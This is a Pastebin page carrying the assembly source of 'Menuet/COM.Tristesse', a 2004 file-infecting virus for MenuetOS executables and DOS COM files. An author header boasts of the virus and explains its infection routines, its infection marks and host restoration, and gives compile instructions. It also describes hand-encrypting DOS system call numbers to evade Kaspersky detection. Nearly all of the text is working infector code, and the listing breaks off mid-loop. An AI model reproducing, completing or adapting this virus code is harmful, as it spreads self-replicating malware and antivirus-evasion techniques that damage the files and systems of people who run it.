Advertisement
FlyFar

Virus.Menuet/COM.Tristesse - Source Code

Jul 3rd, 2023
1,342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 29.17 KB | Cybersecurity | 0 0
  1. ;;  Menuet/COM.Tristesse
  2. ;;  by Second Part To Hell/[rRlf]
  3. ;;  www.spth.de.vu
  4. ;;  spth@prist.com
  5. ;;  written from june 2004 - sebtember 2004
  6. ;;  in Austria
  7. ;;
  8. ;;  I'm damn proud that I can present you my latest virus: Menuet/COM.Tristesse!
  9. ;;  So far, this is the most complex virus I've ever coded, and you'll get the
  10. ;;  point, why it is the most complex while reading this.
  11. ;;
  12. ;;
  13. ;;  The virus:
  14. ;;  Menuet/COM.Tristesse is a multi-platform infector, which infects MENUETs/COMs.
  15. ;;  MENUET (www.menuetos.org) files will be infected via prepending the code and COM files will
  16. ;;  be infected via appending the code. The most important thing about this virus was the
  17. ;;  biggest (!!!) problem while coding:
  18. ;;  Menuet is a 32bit based OS, and COM files uses 16bits, which means that I had to code
  19. ;;  two totally independent parts, one for MENUETs (32bit) and one for COMs (16bit). (I can
  20. ;;  tell you, infecting a 32bit file via a 16bit file is hell.)
  21. ;;
  22. ;;  The virus infects files this way:
  23. ;;  Menuet (32bit) -> Menuet (32bit - prepending)
  24. ;;  Menuet (32bit) -> COM (16bit - appending)
  25. ;;  COM (16bit) -> COM (16bit - appending)
  26. ;;  COM (16bit) -> Menuet (32bit - prepending)  
  27. ;;
  28. ;;  When the virus runs at MenuetOS, the following thing happens:
  29. ;;    - Searchs and infects MENUETs at the RAMDISK
  30. ;;    - Searchs and infects COMs at the HARDDISK (which is, in most cases C:\)
  31. ;;    - Regenerates the host and returns to the host
  32. ;;
  33. ;;    More exactly: The virus does the following things:
  34. ;;      - Searchs it's code (delta offset via static address)
  35. ;;      - Searchs for files
  36. ;;      - Checks if the file is good for infection (MENUET file, not infected, enough memory, ...)
  37. ;;      - Reads file into memory
  38. ;;      - Writes first hostbytes (buffer for virus) to end of file in memory
  39. ;;      - Viruscode in memory at buffer generated before
  40. ;;      - Writes Infection sign
  41. ;;      - Saves file at RAMDISK
  42. ;;           - Jmp to 2
  43. ;;      - Searchs for files
  44. ;;      - Checks if the file is good for infection (COM file, not infected, no MZ header, ...)
  45. ;;      - Reads file into memory
  46. ;;      - Saves first 4 bytes
  47. ;;      - Generates jump to virus + infection mark
  48. ;;      - Appends viruscode to end of file in memory
  49. ;;      - Saves file at HARDDISK
  50. ;;      - Writes Host at Entry Point of file
  51. ;;           - Jmp to 10
  52. ;;      - Return to host
  53. ;;
  54. ;;
  55. ;;
  56. ;;  When the virus runs at COMs, the following happens:
  57. ;;    - Searchs and infects COMs at current directory
  58. ;;    - Searchs and infects MENUETs at current directory
  59. ;;    - Regenerates the host and retuns to the host
  60. ;;
  61. ;;    More exactly: The virus does the following things:
  62. ;;      - Searchs it's code (delta offset via call)
  63. ;;      - Restore host (4 bytes at the start)
  64. ;;      - Find First File (*.com)
  65. ;;      - Open File
  66. ;;      - Checks if the file is good for infection (no MZ header, not infected)
  67. ;;      - Save 4 bytes and check if it's already infected
  68. ;;      - Calculates new Offset for Jump (filesize+MENUET part-3 bytes [jmp])
  69. ;;      - Appends viruscode to the end of the file
  70. ;;      - Writes new 4 bytes (jmp+Virussign)
  71. ;;      - Find Next File
  72. ;;           - Jmp to 2
  73. ;;      - Find First File (*.*)
  74. ;;      - Open file
  75. ;;      - Check if the file is good for infection (MENUET file, not infected)
  76. ;;      - Calculate n blocks (1 block=0x10 bytes) and REST of hostcode
  77. ;;      - Writes first hostbytes (buffer for virus) to end of file
  78. ;;      - Writes Virus to generated buffer
  79. ;;           - Jmp to 11
  80. ;;      - Return to host
  81. ;;
  82. ;;
  83. ;;  Some other infos:
  84. ;;    1.) You may ask, why did I infect COM files instead of PE EXEs. The answere is simple:
  85. ;;        You can not infect PE EXEs via MENUET, because there if too few memory for reading
  86. ;;        the file. And COMs should just contain 65.536 bytes.
  87. ;;
  88. ;;    2.) The virus conains a by-hand encryption of DOS SYSTEM CALL NUMBERS, for avoiding
  89. ;;        KAVs 'Type_COM' warning. Every Number is encrypted with one of XOR/NOT/ADD/SUB/INC/DEC.
  90. ;;
  91. ;;    3.) I've tested the virus at WindowsXP, Windows98, MenuetOS 0.78 pre2 and MenuetOS 0.77 final,
  92. ;;        and the code worked on every OS. There is just one problem with MenuetOS 0.76+ when you
  93. ;;        run it with a Notebook/Laptop. Menuet can't read data from the HARDDISK, and therefore
  94. ;;        just MENUET files will be infected, not COMs. But this is a bug in Menuet, and not in my
  95. ;;        virus.
  96. ;;
  97. ;; Compile: FASM code.asm code
  98. ;;          And you get the executeable MENUET file.
  99. ;;          You will get the COM infected, when a MENUET file infects a COM, not with compiling.
  100. ;;
  101. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  102.  
  103.  
  104.  
  105.  
  106.  
  107.     viruslength equ I_END-START
  108.  
  109. use32
  110.    
  111.         org     0x0
  112.    
  113.         db      'MENUET00'      ; 8 byte id
  114.         dd      23          ; required os & Virus infection Mark
  115.         dd      START           ; Program start
  116.         dd      I_END           ; Program length
  117.         dd      0x100000        ; Required amount of memory
  118.         dd      0x00000000      ; reserved=no extended header
  119.  
  120. START:
  121.     pushad                  ; Save the original register-contents to stack
  122.     mov ebp, dword [0xC]        ; Save the virussize in ebp
  123.  
  124.  
  125. ;;  Infect MENUET-files
  126.  
  127.     xor eax, eax            ; eax=0
  128.     mov al, 58              ; SYSTEM TREE ACCESS
  129.     mov ebx, ebp            ; pointer to fileinfo-block
  130.     add bx, (dir_block_men-START)   ; Get the relative offset
  131.     int 0x40                ; System Call
  132.  
  133.     mov ebx, 0x20000            ; Move Offset of filename to ebx
  134.  
  135. nextfile:
  136.     add ebx, 32             ; Next Filename
  137.  
  138.     cmp ebx, 0x22000            ; Compair ebx with 0x22000
  139.     je  endinfmen           ; If equal, stop it
  140.  
  141.     mov cl, [ebx]           ; First letter of Filename to cl
  142.     cmp cl, 0xE5            ; Compair with 0xE5 (which is the sign of a DELETED file)
  143.     je  nextfile            ; If so, get next file
  144.  
  145.     mov cl, [ebx+11]            ; Move the attribute bits to cl
  146.     and cl, 0x10            ; AND 0x10 ( ???1 ???? = FOLDER )
  147.     jnz nextfile            ; If not zero, get next file
  148.  
  149.     mov edx, ebx            ; Save ebx in edx
  150.     mov edi, ebp            ; Move fle (11 letter buffer) to edi
  151.     add di, (fle-START)         ; Get the relative Offset
  152.  
  153.     xor ecx, ecx            ; ecx=0
  154.     mov cl, 11              ; Move 11 to ecx (counter=11)
  155.    fn2fb:                   ; File Name to File Block
  156.     mov al, [ebx]           ; Move the ebx-value to al
  157.     stosb                   ; Write al to memory at offset edi (=11 letter buffer)
  158.     inc ebx             ; Get next letter
  159.    loop fn2fb                   ; Jump to fn2fb if ecx>0 && dec ecx
  160.  
  161.     xor eax, eax            ; eax=0
  162.     mov al, 58              ; SYSTEM TREE ACCESS
  163.     mov ebx, ebp            ; pointer to file-block
  164.     add bx, (file_block_men-START)  ; Get the relative Offset
  165.     int 0x40                ; System Call
  166.     mov ebx, edx            ; Restore original ebx (Filename offset)
  167.  
  168.     mov eax, 0x25000            ; Move Offset of readed file-content to eax
  169.     cmp dword [eax], 'MENU'     ; Compair a double-word with 'MENU'
  170.     jne nextfile            ; If not equal (=No Menuet-executed file), get next file
  171.  
  172.     add al, 8               ; eax = 0x25000 + 0x8 = Infection mark offset
  173.     cmp byte [eax], 23          ; Compair a byte with 23
  174.     je  nextfile            ; If equal (file is already infected), get next file
  175.  
  176.     add al, 12              ; eax= 0x25008+12 = Memory used by file
  177.     cmp dword [eax], 0x50000        ; Compaire with 0x50000 (most files have the double)
  178.     jl  nextfile            ; If less (too few memory for the virus), get next file
  179.  
  180.     mov eax, dword [ebx+28]     ; Move the filesize to eax
  181.     shr eax, 9              ; Get the blocks to read
  182.     inc eax             ; For reading the last not completed block
  183.  
  184.     mov edi, ebp            ; Move the offset where to write
  185.     add di, (flb_bs-START)      ; Get the relative Offset
  186.     stosb                   ; Write [al] to di in memory
  187.  
  188.     mov edx, ebx            ; Save ebx to edx
  189.     xor eax, eax            ; eax=0
  190.     mov al, 58              ; SYSTEM TREE ACCESS
  191.     mov ebx, ebp            ; pointer to file-block
  192.     add bx, (file_block_men-START)  ; Get the relative offset
  193.     int 0x40                ; System Call
  194.  
  195.     mov ebx, edx            ; Restore original ebx (Filename offset)
  196.  
  197.  
  198. ;;  Write first part (bytes of virus) of the host code to end
  199. ;;  because these bytes will be overwritten.
  200.  
  201.     mov edi, dword [0x25010]        ; Where to write: End of file
  202.     add edi, 0x25000            ; Add memory offset of hostcode
  203.  
  204.     mov cx, viruslength         ; Viruslength to ecx
  205.     add ecx, dword [0x2500C]        ; add Header-length
  206.     cmp dword [0x25010], ecx        ; Check if the file is smaller than the virus
  207.  
  208.     jge notsmall            ; If not greater or equal, calculate another offset for writing
  209.  
  210.     xchg    edi, ecx            ; Move the real start to edi
  211.     add edi, 0x25000            ; Add memory offset
  212.  
  213.  notsmall:
  214.     xor ecx, ecx            ; ecx=0
  215.     mov cx, viruslength         ; How much to read: Viruslength
  216.  
  217.     mov edx, dword [0x2500C]        ; What to read: Entry Point of file
  218.     add edx, 0x25000            ; Add memory offset of hostcode
  219.  
  220.    fp2eof:                  ; First part to end of file
  221.     mov al, [edx]           ; Move a victim code's byte to al
  222.     stosb                   ; Write al to memory at offset edi (end of file)
  223.     inc edx             ; Get next byte
  224.    loop fp2eof                  ; Jump to fp2eof if ecx>0 && dec ecx
  225.  
  226.  
  227. ;;  Overwrite first part of host file with viruscode
  228.  
  229.     mov cx, viruslength         ; How much to write: Virus length
  230.     mov edx, ebp            ; What to write: Viruscode
  231.  
  232.     mov edi, dword [0x2500C]        ; Where to write: Entry Point of file
  233.     add edi, 0x25000            ; Add memory offset of hostcode
  234.  
  235.    vc2vm:                   ; Virus code to victim memory
  236.     mov al, [edx]           ; Move a virus code's byte to al
  237.     stosb                   ; Write al to memory at offset edi (Start of victim's code)
  238.     inc edx             ; Get next virus byte
  239.    loop vc2vm                   ; Jump to vc2vm if ecx>0 && dec ecx
  240.  
  241.  
  242. ;;  Infection Mark  <-- Against double-infection
  243.  
  244.     mov edi, 0x25008            ; Move the point of the infection sign
  245.     mov al, 23              ; What to write (the infection mark)
  246.     stosb                   ; Write infection mark to file
  247.  
  248.     mov edi, ebp            ; Move the offset where to write
  249.     add di, (flb_bs-START)      ; Get the relative Offset
  250.     mov eax, dword [ebx+28]     ; What to write (Old Filesize)
  251.     add eax, viruslength        ; Add virussize
  252.     stosd                   ; Write eax to memory at offset edi
  253.  
  254.  
  255. ;;  Write memory with new built infected file to RAMDISK
  256.  
  257.     mov edi, ebp            ; Move the offset where to write
  258.     add di, (flb_kd-START)      ; Get the relative Offset
  259.     mov al, 1               ; What to write (1 for writing)
  260.     stosb                   ; Write al to memory at offset edi
  261.  
  262.     mov edx, ebx            ; Save ebx to edx
  263.  
  264.     xor eax, eax            ; eax=0
  265.     mov al, 58              ; SYSTEM TREE ACCESS
  266.     mov ebx, ebp            ; pointer to file_block_men
  267.     add bx, (file_block_men-START)  ; Get the relative Offset
  268.     int 0x40                ; System Call
  269.  
  270.  
  271. ;;  Restore some memory stuff and register
  272.  
  273.     mov ebx, edx            ; Restore ebx
  274.  
  275.     mov edi, ebp            ; Move the offset where to write
  276.     add di, (flb_kd-START)      ; Get the relative offset
  277.     xor al, al              ; What to write (0 for reading) = RESTORING
  278.     stosb                   ; Write al to memory at offset edi
  279.  
  280.     mov edi, ebp            ; Move the offset where to write
  281.     add di, (flb_bs-START)      ; Get the relative offset
  282.     inc al              ; What to write = RESTORING
  283.     stosb                   ; Write al to memory at offset edi
  284.  
  285.     jmp nextfile            ; Get Next File
  286.  
  287. endinfmen:
  288.  
  289. ;;  Infect COM-files
  290.  
  291.     xor eax, eax            ; eax=0
  292.     mov al, 58              ; SYSTEM TREE ACCESS
  293.     mov ebx, ebp            ; pointer to fileinfo-block
  294.     add bx, (dir_block_com-START)   ; Get the relative offset
  295.     int 0x40                ; System Call
  296.  
  297.     mov ebx, 0x20000            ; Move Offset of filename to ebx
  298.  
  299. men_com_nextfile:
  300.     add ebx, 32             ; Find next file
  301.  
  302.     cmp ebx, 0x22000            ; Compair ebx with 0x22000
  303.     je  endinfcom           ; If equal, stop it
  304.  
  305.     mov cl, [ebx]           ; First letter of Filename to cl
  306.     cmp cl, 0xE5            ; Compair with 0xE5 (which is the sign of a DELETED file)
  307.     je  men_com_nextfile        ; If so, get next file
  308.  
  309.     mov cl, [ebx+11]            ; Move the attribute bits to cl
  310.     and cl, 0x10            ; AND 0x10 ( ???1 ???? = FOLDER )
  311.     jnz men_com_nextfile        ; If not zero, get next file
  312.  
  313.     mov ax, [ebx+8]         ; Move first 2 bytes of file-extansion to ax
  314.     cmp ax, 'CO'            ; Check if it's a COM-file
  315.     jne men_com_nextfile        ; If not equal, get next file
  316.  
  317.     mov edx, ebx            ; Save ebx in edx
  318.     mov edi, ebp            ; Move fle (11 letter buffer) to edi
  319.     add di, (c_fle-START)       ; Get the relative Offset
  320.  
  321.     xor ecx, ecx            ; ecx=0
  322.     mov cl, 11              ; Move 11 to ecx (counter=11)
  323.    c_fn2fb:                 ; File Name to File Block
  324.     mov al, [ebx]           ; Move the ebx-value to al
  325.     stosb                   ; Write al to memory at offset edi (=11 letter buffer)
  326.     inc ebx             ; Get next letter
  327.    loop c_fn2fb                 ; Jump to fn2fb if ecx>0 && dec ecx
  328.  
  329.     mov eax, dword [edx+0x1C]       ; Move the filesize to eax
  330.     shr eax, 9              ; Get the blocks to read
  331.     inc eax             ; For reading the last not completed block
  332.  
  333.     mov edi, ebp            ; Move the offset where to write
  334.     add di, (c_flb_bs-START)        ; Get the relative Offset
  335.     stosb                   ; Write [al] to di in memory
  336.  
  337.     xor eax, eax            ; eax=0
  338.     mov al, 58              ; SYSTEM TREE ACCESS
  339.     mov ebx, ebp            ; pointer to file-block
  340.     add bx, (file_block_com-START)  ; Get the relative Offset
  341.     int 0x40                ; System Call
  342.  
  343.     mov ebx, edx            ; Restore ebx
  344.  
  345.     mov ax, word [0x25000]      ; Move first two bytes to ax
  346.     cmp ax, 'MZ'            ; Check if it's a pseudo-COM
  347.     je  men_com_nextfile        ; If equal, get next file
  348.  
  349.     mov al, [0x25003]           ; Move the 4th byte to al
  350.     cmp al, 'S'             ; Check if it's infected
  351.     je  men_com_nextfile        ; If equal, get next file
  352.  
  353.     mov eax, dword [0x25000]        ; Move first 4 bytes of .COM to eax
  354.     mov edi, ebp            ; Move the offset where to save the 4 bytes
  355.     add edi, (com_rest_bytes-START) ; Get relative offset
  356.     stosd                   ; Write eax to offset edi
  357.  
  358.     mov eax, [edx+0x1C]         ; Filesize to eax
  359.     add ax, (comvirusstart-START-3) ; Add offset of com-part start (Size shouldn't be bigger than 0xFFFF)
  360.     mov edi, ebp            ; Where to write
  361.     add edi, (com_4bytes-START+1)   ; Buffer for com-start
  362.     stosw                   ; Write two bytes
  363.  
  364.     mov edi, [edx+0x1C]         ; Move the filesize to eax
  365.     add edi, 0x25000            ; Get the end of the file
  366.     mov ecx, viruslength        ; Move viruslength to ecx
  367.     mov ebx, [0xC]          ; Move the start of the virus to ebx
  368.  
  369.    c_vir2end:                   ; Virus to end
  370.     mov al, [ebx]           ; Move one virusbyte to al
  371.     stosb                   ; Write al to edi
  372.     inc ebx             ; Get next byte
  373.    loop c_vir2end               ; Write next byte
  374.  
  375.     mov ebx, ebp            ; 4 bytes to ebx (Jmp to com + infection mark)
  376.     add ebx, (com_4bytes-START)     ; Get relative offset
  377.     mov edi, 0x25000            ; Where to write: filestart
  378.     mov ecx, 0x4            ; Write 4 bytes
  379.  
  380.    c_4b2fRAM:                   ; 4 bytes to file in RAM
  381.     mov al, [ebx]           ; Move one of the 4 bytes to al
  382.     stosb                   ; Write al to edi
  383.     inc ebx             ; Get next byte
  384.    loop c_4b2fRAM               ; Write next byte
  385.  
  386.     mov al, 0x1             ; Move 1 to al
  387.     mov edi, ebp            ; Move com-fileblock offset to edi
  388.     add edi, (c_flb_kd-START)       ; Get relative offset
  389.     stosb                   ; Modify com-fileblock (to write)
  390.  
  391.     mov eax, dword [edx+0x1C]       ; Move filesize to eax
  392.     add eax, viruslength        ; Add viruslength
  393.     mov edi, ebp            ; Move com_fileblock offset to edi
  394.     add edi, (c_flb_bs-START)       ; Get relative offset
  395.     stosd                   ; Modify com-fileblock (size to write)
  396.  
  397.     mov eax, 58             ; SYSTEM TREE ACCESS
  398.     mov ebx, ebp            ; Fileblock
  399.     add ebx, (file_block_com-START) ; Get relative offset
  400.     int 0x40                ; SYSTEM CALL
  401.  
  402.     mov ebx, edx            ; Restore Filenames
  403.  
  404.    jmp  men_com_nextfile            ; Get Next File
  405.  
  406. endinfcom:
  407.  
  408. ;;  Restore original host
  409.  
  410.     mov ebx, ebp            ; What to write - Offset of vircode
  411.     add bx, (rebu-START)        ; Add relative address
  412.  
  413.     mov edi, 0x20000            ; Where to write
  414.     mov cl, (rebuend-rebu)      ; How much to write (whole rebuild-code)
  415.  
  416.    rb2m:                    ; Rebuild code to memory
  417.     mov al, [ebx]           ; Move one byte of rebuild-code to al
  418.     stosb                   ; Write al to offset edi
  419.     inc ebx             ; Get next byte
  420.    loop rb2m                    ; Jump to rbch if ecx>0 && inc ecx
  421.  
  422.     mov ebx, 0x20000
  423.     jmp ebx             ; Jump to rebuild code in memory
  424.                         ; Now the viruscode in memory will be replaced by the
  425.                         ; old original host code, and the control comes back to
  426.                         ; the host file. The reason for using memory for
  427.                         ; overwrite the viruscode in memory is the fact that
  428.                         ; we can't overwrite the current running code.
  429.  
  430.  
  431.  
  432.                         ; From now on, there is just data
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  rebu:                      ; Rebuild the host code
  439.     xor eax, eax            ; eax=0
  440.     mov al, 0x10            ; eax=0x10
  441.     mov ebx, dword [eax]        ; Move the file length to ebx, to get the old hostcode offset
  442.  
  443.     sub eax, 4              ; eax=0xC
  444.  
  445.     mov edx, dword [eax]        ; Move the offset of the head-length to edx
  446.     add dx, viruslength         ; Add the virulength to edx
  447.  
  448.     cmp ebx, edx            ; Check if the file is smaller than the virus
  449.     jge notsmall2           ; If not greater or equal, go on
  450.  
  451.     mov ebx, edx            ; Move the new offset to ebx
  452.  
  453.  notsmall2:
  454.  
  455.     mov edi, dword [0xC]        ; Where to write: 0xC
  456.     mov cx, viruslength         ; How much to write
  457.  
  458.  
  459.      rbhc:                  ; Rebuild host code
  460.     mov al, [ebx]           ; One byte of the saved host code to al
  461.     stosb                   ; Write al (Host code) to edi (Entry Point of file)
  462.     inc ebx             ; Get next byte
  463.      loop rbhc                  ; Jump to rbch if ecx>0 && inc ecx
  464.  
  465.     popad                   ; Get the original register-contents
  466.  
  467.     jmp dword [0xC]         ; Jump to Entry Point, now with the original code
  468.  rebuend:                   ; Rebuild host code: End
  469.  
  470.  
  471.  
  472. ;;
  473. ;;  DATA
  474. ;;
  475.  
  476.  
  477.     virmsg  db '1st Menuet/COM Virus (Tristesse) by Second Part To Hell/rRlf'
  478.  
  479.  
  480. dir_block_men:
  481.     dd 0                    ; 0=READ
  482.     dd 0x0                  ; 512 block to read 0+
  483.     dd 0x16                 ; blocks to read (/bytes to write/append)
  484.     dd 0x20000              ; return data pointer
  485.     dd 0x10000              ; work area for os - 16384 bytes
  486.     db '/RD/1',0                ; ASCIIZ dir & filename
  487.  
  488. file_block_men:
  489. flb_kd: dd   0                  ; 0=READ    (delete/append)
  490.     dd   0x0                ; 512 block to read 0+
  491. flb_bs: dd   0x1                ; blocks to read (/bytes to write/append)
  492.     dd   0x25000                ; return data pointer
  493.     dd   0x10000                ; work area for os - 16384 bytes
  494. flpath  db '/RD/1/'
  495. fle db '           ',0
  496.  
  497. dir_block_com:
  498.     dd 0                    ; 0=READ
  499.     dd 0x0                  ; 512 block to read 0+
  500.     dd 0x16                 ; blocks to read (/bytes to write/append)
  501.     dd 0x20000              ; return data pointer
  502.     dd 0x10000              ; work area for os - 16384 bytes
  503.     db '/HD/1',0                ; ASCIIZ dir & filename
  504.  
  505. file_block_com:
  506. c_flb_kd:   dd   0              ; 0=READ    (delete/append)
  507.         dd   0x0            ; 512 block to read 0+
  508. c_flb_bs:   dd   0x1            ; blocks to read (/bytes to write/append)
  509.         dd   0x25000            ; return data pointer
  510.         dd   0x10000            ; work area for os - 16384 bytes
  511. c_flpath    db '/HD/1/'
  512. c_fle       db '           ',0
  513.  
  514. ;;  Start of the COM-part
  515. ;;
  516.     use16
  517.  
  518. comvirusstart:                  ; Start of the virus
  519.     call com_get_delta          ; Jump to com_get_delta + push current offset
  520.  
  521.  
  522. com_get_delta:  
  523.     pop bp              ; Get current offset
  524.     sub bp, com_get_delta       ; Get relative offset
  525.  
  526.     lea si, [bp+com_rest_bytes]     ; Restore original bytes from com_rest_bytes
  527.     mov di, 0x100           ; Write to 0x100, as a COM starts at that offset
  528.     movsw                   ; Write 2 bytes
  529.     movsw                   ; Write 2 bytes (=4 bytes)
  530.  
  531. com_find_first:
  532.     mov ah, 0xB1            ; Find First File (encrypted)
  533.     xor ah, 0xFF            ; Decrypt
  534.  
  535. com_infection:
  536.     lea dx, [bp+com_string]     ; dx=Search-lable (='*.com')
  537.     xor cx, cx              ; cx=Attribute (=normal file)
  538.     int 0x21                ; Execute It
  539.  
  540.     jc  end_vir                       ; If carry (no more file), jmp to end of virus
  541.  
  542.     mov ax, 0xC2FD                  ; Open File (encrypted)
  543.     xor ax, 0xFFFF          ; Decrypt
  544.     mov dx, 0x9E            ; dx=Filename (any com-file returned by FFF)
  545.     int 0x21                ; Execute it
  546.  
  547.     xchg    ax, bx              ; Filehandle to bx
  548.  
  549.     mov ah, 0xC0            ; Save first 4 bytes, which will be overwritten (jmp + infection-mark) (encrypted)
  550.     xor ah, 0xFF            ; Decrypt
  551.     mov cx, 0x4             ; cx= How much (4 bytes)
  552.     lea dx, [bp+com_rest_bytes]     ; Where to save (4 byte-buffer)
  553.     int 0x21                ; Execute it
  554.  
  555.     cmp byte [bp+com_rest_bytes+3], 'S' ; Check if already infected
  556.     je  com_FindNextFile        ; If equal (=infected), jump com_FindNextFile
  557.  
  558.     mov ax, 0xBDFD          ; Jump to end of the file (+ Get filesize) (encrypted)
  559.     not ax              ; Decrypt
  560.     xor cx, cx              ; cx=0
  561.     xor dx, dx              ; dx=0
  562.     int 0x21                ; Execute it
  563.  
  564.     add ax, (comvirusstart-START-3) ; Calculate the offset of new com-start: filesize+MENUET part-jmp(3 bytes)
  565.     mov word [bp+com_4bytes+1], ax  ; Write the new length to the buffer,
  566.                         ; so the file will jump to the end (=virus-start)
  567.  
  568.     mov ah, 0x45            ; Write to file (encrypted)
  569.     sub ah, 0x5             ; Decrypt
  570.     mov cx, viruslength         ; How much to write (virussize)
  571.     lea dx, [bp+START]          ; Where to read from: virusstart
  572.     int 0x21                ; Execute it
  573.  
  574.     mov ax, 0xBDFF          ; Get the filestart (encrypted)
  575.     not ax              ; Decrypt
  576.     xor cx, cx              ; cx=0
  577.     xor dx, dx              ; dx=0
  578.     int 0x21                ; Execute it
  579.  
  580.     mov ah, 0xBF            ; Write to file (encrypted)
  581.     xor ah, 0xFF            ; Decrypt
  582.     mov cx, 0x4             ; How much to write: 4 bytes= jmp+infection_mark
  583.     lea dx, [bp+com_4bytes]     ; Where to read
  584.     int 0x21                ; Execute it
  585.  
  586. com_FindNextFile:
  587.     mov ah, 0xC1            ; Close file (encrypted)
  588.     not ah              ; Decrypt
  589.     int 0x21                ; Execute it
  590.  
  591.     mov ah, 0x6D            ; Find Next File (encrypted)
  592.     xor ah, 0xDD            ; Decrypt
  593.     not ah              ; Decrypt
  594.     jmp com_infection           ; Infect it
  595.  
  596. end_vir:
  597.     mov ah, 0xB1            ; Find First File (encrypted)
  598.     not ah              ; Decrypt
  599.  
  600. c_men_infection:
  601.     lea dx, [bp+com_men_string]     ; dx=Search-lable (='*.*')
  602.     xor cx, cx              ; cx=Attribute (=normal file)
  603.     int 0x21                ; Execute It
  604.  
  605.     jc  ret_host            ; If carry (no more file), jmp ret_host
  606.    
  607.     mov ax, 0xC2FD          ; Open file (encrypted)
  608.     xor ax, 0xFFFF          ; Decrypt
  609.  
  610.     mov dx, 0x9E            ; dx=Filename (any file returned by FFF)
  611.     int 0x21                ; Execute It
  612.  
  613.     xchg    ax, bx              ; Filehandle to bx
  614.  
  615.     mov ah, 0x28            ; Read from file (encrypted)
  616.     xor ah, 0x17            ; Decrypt
  617.  
  618.     mov cx, 0x10            ; How much to read (16 bytes)
  619.     lea dx, [bp+com_men_buffer1]    ; Where to store (Menuet buffer)
  620.     int 0x21                ; Execute it
  621.  
  622.     cmp word [bp+com_men_buffer1], 'ME' ; Check if it's a Menuet-File
  623.     jne com_men_FNF         ; If not, get next file
  624.  
  625.     cmp byte [bp+com_men_buffer1+0x8], 0x17 ; Check if file is already infected
  626.     je  com_men_FNF             ; If equal (=infected), get next file
  627.  
  628.     mov ax, 0x4210          ; Set File Pointer to start (encrypted)
  629.     sub ax, 0x10            ; Decrypt
  630.     xor cx, cx              ; cx=0
  631.     xor dx, dx              ; dx=0
  632.     int 0x21                ; Execute it
  633.  
  634.     mov ah, 0xC0            ; Read from file (encrypted)
  635.     not ah              ; Decrypt
  636.     mov cx, 0x8             ; How much to read
  637.     mov dx, [bp+com_men_buffer1]    ; Where to store
  638.     int 0x21                ; Execute it
  639.  
  640.     mov ah, 0x63                ; Write to file (encrypted)
  641.     xor ah, 0x23                ; Decrypt
  642.     mov cx, 0x1                 ; How much to write: One byte
  643.     mov byte [bp+com_men_buffer1], 0x17     ; The Infection Mark to the buffer
  644.     lea dx, [bp+com_men_buffer1]        ; What to write: Infection Mark for MENUETs
  645.     int 0x21                    ; Execute it
  646.  
  647.     mov ax, 0x3200          ; Set File Pointer to start (encrypted)
  648.     add ax, 0x1000          ; Decrypt
  649.     xor cx, cx              ; cx=0
  650.     xor dx, dx              ; dx=0
  651.     int 0x21                ; Execute it
  652.  
  653.     mov ah, 0x30            ; Read from file (encrypted)
  654.     add ah, 0xF             ; Decrypt
  655.     mov cx, 0x10            ; How much to read (16 bytes)
  656.     mov dx, [bp+com_men_buffer1]    ; Where to store
  657.     int 0x21                ; Execute it
  658.  
  659.     mov ax, viruslength         ; Move viruslength to ax
  660.     shr ax, 0x4             ; 4 bytes left: ax*16=viruslength + REST
  661.     mov di, ax              ; Save result in di
  662.  
  663.     mov dx, 0x10            ; dx=0x10
  664.     mul dx              ; ax=dx[0x10]*ax[shr(viruslength)4]
  665.  
  666.     mov dx, ax              ; Get the result to dx
  667.     mov ax, viruslength         ; Move viruslength to ax
  668.     sub ax, dx              ; viruslength-di[shr(viruslength)*16]=REST
  669.     push    ax              ; Save REST to stack
  670.  
  671.     mov ax, [bp+com_men_buffer1+0xC]    ; Move the offset of the EP to ax
  672.     push    ax              ; Offset of the EP to the stack
  673.  
  674.     mov ax, 0x4202          ; Get filelength (=Set filepointer to end of file)
  675.     xor cx, cx              ; cx=0
  676.     xor dx, dx              ; dx=0
  677.     int 0x21                ; Execute it
  678.  
  679.     sub ax, [bp+com_men_buffer1+0xC]    ; Sub header-length to get real code-length
  680.     cmp ax, viruslength         ; Compair codelength with viruslength
  681.     jge com_menfi_ge            ; If greater or equal jmp to com_menfi_ge
  682.  
  683.     mov di, ax              ; Move the real codelength to di
  684.  
  685.    com_men_st2end2:             ; MENUET Start to End
  686.     mov ax, 0xBDFF          ; Set File Pointer to start (encrypted)
  687.     not ax              ; Decrypt
  688.     xor cx, cx              ; cx=0
  689.     xor dx, dx              ; dx=0
  690.     int 0x21                ; Execute it
  691.  
  692.     mov ax, 0x4203          ; Set File Pointer (encrypted)
  693.     dec ax              ; Decrypt
  694.     dec ax              ; Decrypt
  695.     xor cx, cx              ; cx=0
  696.     pop dx              ; dx=offset to read
  697.     push    dx              ; dx to the stack again
  698.     int 0x21                ; Execute it
  699.  
  700.     pop dx              ; Get offset where to read from stack to dx
  701.     add dx, 0x10            ; Add 16 to dx (As we need the next 16 bytes)
  702.     push    dx              ; To the stack again
  703.  
  704.     mov ah, 0x4F            ; Read from file (encrypted)
  705.     sub ah, 0x10            ; Decrypt
  706.     mov cx, 0x10            ; How much to read (16 bytes)
  707.     lea dx, [bp+com_men_buffer2]    ; Where to store
  708.     int 0x21                ; Execute it
  709.  
  710.     mov ax, 0xE8AA          ; Set File Pointer to start (encrypted)
  711.     xor ax, 0xAAAA          ; Decrypt
  712.     xor cx, cx              ; cx=0
  713.     xor dx, dx              ; dx=0
  714.     int 0x21                ; Execute it
  715.  
  716.     mov ax, 0x9FDC          ; Set file Pointer (encrypted)
  717.     xor ax, 0xDDDD          ; Decrypt
  718.     xor cx, cx              ; cx=0
  719.     pop dx              ; dx=EP+already read bytes
  720.     push    dx              ; Save dx again
  721.     add dx, viruslength-0x10        ; Add viruslength-16 (previous 16 bytes) to dx: dx=offset to write old host code
  722.     int 0x21                ; Execute it
  723.  
  724.      com_nrestbytes:
  725.     mov ah, 0x60            ; Write to file (encrypted)
  726.     sub ah, 0x20            ; Decrypt
  727.     mov cx, 0x10            ; How much to write: 16 byte
  728.     lea dx, [bp+com_men_buffer2]    ; What to write: First bytes of file for buffer
  729.     int 0x21                ; Execute it
  730.  
  731.     sub di, 0x10            ; Decrease di
  732.     cmp di, 0x10            ; Compair di with 16
